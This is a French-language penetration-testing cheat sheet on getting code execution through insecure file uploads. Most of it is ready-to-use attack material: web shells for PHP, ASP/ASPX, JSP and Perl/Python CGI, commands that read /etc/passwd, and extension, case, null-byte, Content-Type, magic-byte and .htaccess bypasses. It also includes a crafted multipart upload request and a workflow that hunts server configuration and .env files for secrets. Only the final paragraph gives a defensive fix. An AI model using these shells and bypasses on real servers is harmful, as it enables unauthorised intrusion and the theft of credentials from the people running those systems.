Upload de fichiers : exécution de code par contournement d'extension
Certaines applications acceptent des uploads de fichiers en se fiant uniquement à l’extension ou au type MIME déclaré par le client, sans vérifier le contenu réel du fichier. Un fichier de script renommé avec une extension image peut traverser ce filtre et, si le serveur l’exécute via son interpréteur, produire une exécution de code arbitraire.
Identifier la technologie serveur
Section intitulée « Identifier la technologie serveur »Avant de construire un payload, identifier le langage exécuté côté serveur oriente le choix du fichier à uploader.
# Lire les en-têtes de réponsecurl -sI http://cible/ | grep -iE "server|x-powered-by"Server: Apache/2.4.54X-Powered-By: PHP/8.1.12Server: Microsoft-IIS/10.0X-Powered-By: ASP.NETServer: Apache Tomcat/9.0.65En l’absence d’en-têtes révélateurs, les extensions des pages existantes (.php, .asp, .aspx, .jsp) renseignent directement sur la technologie.
Payloads par technologie
Section intitulée « Payloads par technologie »PHP (Apache, Nginx)
Section intitulée « PHP (Apache, Nginx) »<?php system($_GET['cmd']); ?>Extensions cibles : .php, .php3, .php4, .php5, .php7, .phtml, .phar
Test de détection minimal :
echo '<?php echo "RCE_TEST_OK"; ?>' > test.php.pngLecture de fichiers sensibles :
<?phpecho '<pre>';$last_line = system('cd /etc/ && cat passwd', $retval);echo '</pre>Dernière ligne : ' . $last_line . 'Valeur retournée : ' . $retval;?>ASP / ASPX (IIS)
Section intitulée « ASP / ASPX (IIS) »<!-- ASP classique --><% Response.Write(CreateObject("WScript.Shell").Exec(Request("cmd")).StdOut.ReadAll) %><!-- ASP.NET WebForms --><%@ Page Language="C#" %><% Response.Write(new System.Diagnostics.Process { StartInfo = new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c " + Request["cmd"]) { UseShellExecute = false, RedirectStandardOutput = true } }.Start() ? "ok" : "fail"); %>Extensions cibles : .asp, .aspx, .ashx, .asmx, .cer, .asa
JSP (Tomcat, JBoss, GlassFish)
Section intitulée « JSP (Tomcat, JBoss, GlassFish) »<%@ page import="java.io.*" %><%String cmd = request.getParameter("cmd");Process p = Runtime.getRuntime().exec(cmd);BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));String line;while ((line = br.readLine()) != null) out.println(line);%>Extensions cibles : .jsp, .jspx, .jsw, .jsv, .jspf
CGI, Perl / Python (Apache avec mod_cgi)
Section intitulée « CGI, Perl / Python (Apache avec mod_cgi) »#!/usr/bin/perluse CGI;my $q = CGI->new;print $q->header;print `$ENV{QUERY_STRING}`;#!/usr/bin/env python3import os, syscmd = os.environ.get('QUERY_STRING', '')print("Content-Type: text/plain\n")print(os.popen(cmd).read())Extensions cibles : .pl, .cgi, .py (si mod_cgi actif)
Détecter la vulnérabilité
Section intitulée « Détecter la vulnérabilité »Uploader un fichier de test avec une double extension et accéder à son URL :
# PHPecho '<?php echo "RCE_TEST_OK"; ?>' > test.php.png
# ASPecho '<% Response.Write("RCE_TEST_OK") %>' > test.asp.png
# JSPecho '<% out.print("RCE_TEST_OK"); %>' > test.jsp.png- Réponse contenant
RCE_TEST_OK→ exécution confirmée - Affichage du code source brut → fichier servi en statique, pas exécuté
- Erreur ou refus à l’upload → filtre actif, tenter les bypasses
Techniques de bypass
Section intitulée « Techniques de bypass »Double extension
Section intitulée « Double extension »La technique de base : ajouter l’extension attendue après l’extension exécutable.
shell.php.pngshell.asp.jpgshell.jsp.gifSur Apache mal configuré, la présence d’une extension reconnue par l’interpréteur dans le nom suffit à déclencher l’exécution.
Extensions alternatives
Section intitulée « Extensions alternatives »Si l’extension principale est bloquée :
# PHP.php3 .php4 .php5 .php7 .phtml .phar .shtml
# ASP/ASPX (IIS).cer .asa .ashx .asmx
# JSP.jspx .jsw .jspfVariation de casse
Section intitulée « Variation de casse »shell.PHP shell.Php shell.pHpshell.ASP shell.Aspshell.JSP shell.JspNull byte (PHP < 5.3)
Section intitulée « Null byte (PHP < 5.3) »shell.php%00.pngManipulation du Content-Type
Section intitulée « Manipulation du Content-Type »Intercepter la requête dans Burp Suite et forcer :
Content-Type: image/pngLe serveur se fie au type déclaré par le client sans lire le contenu.
Magic bytes
Section intitulée « Magic bytes »Préfixer le payload avec la signature du format image attendu pour tromper une vérification basée sur les octets :
# Signature GIF89a + payload PHPprintf 'GIF89a' > shell.php.gifecho '<?php system($_GET["cmd"]); ?>' >> shell.php.gif
# Signature PNG (\x89PNG) + payloadprintf '\x89PNG\r\n\x1a\n' > shell.php.pngecho '<?php system($_GET["cmd"]); ?>' >> shell.php.pngUpload de .htaccess (Apache)
Section intitulée « Upload de .htaccess (Apache) »Si l’application accepte les fichiers .htaccess, forcer l’exécution PHP sur l’extension de son choix :
AddType application/x-httpd-php .pngAprès upload de ce .htaccess, tous les .png du répertoire sont interprétés comme PHP.
Intercepter et modifier avec Burp Suite
Section intitulée « Intercepter et modifier avec Burp Suite »- Uploader un fichier
.pnglégitime via le formulaire - Dans Burp Proxy → HTTP history, retrouver la requête POST
- Envoyer vers le Repeater (
Ctrl+R) - Modifier le
filenameet le contenu dans le corps multipart - Rejouer et observer la réponse
POST /upload HTTP/1.1Host: cibleContent-Type: multipart/form-data; boundary=----Boundary
------BoundaryContent-Disposition: form-data; name="file"; filename="shell.php.png"Content-Type: image/png
<?php system($_GET['cmd']); ?>------Boundary--Workflow en pratique
Section intitulée « Workflow en pratique »1. Identifier la technologie serveur curl -sI http://cible/ | grep -iE "server|x-powered-by" → choisir le payload correspondant
2. Tester l'exécution avec le payload minimal → uploader, accéder à l'URL, chercher la chaîne de confirmation
3. Si refusé → tenter les bypasses dans l'ordre → double extension → extensions alternatives → variation de casse → modification Content-Type dans Burp → magic bytes en tête du fichier → upload de .htaccess si Apache
4. Une fois l'exécution confirmée → lire /etc/passwd (Linux) ou C:\Windows\System32\drivers\etc\hosts (Windows) → déployer un webshell paramétré pour l'exploration
5. Chercher des fichiers de configuration ?cmd=find+/var/www+-name+"*.env" ?cmd=find+/var/www+-name+"config.php" ?cmd=find+/var/www+-name+"web.config"À retenir
Section intitulée « À retenir »La validation d’extension côté client n’offre aucune protection. Côté serveur, la vérification doit porter sur le contenu réel du fichier (magic bytes) et non sur le nom ou le Content-Type déclaré. La neutralisation la plus fiable consiste à configurer le répertoire d’upload pour qu’il serve les fichiers exclusivement en statique, sans exécution possible, quelle que soit l’extension uploadée.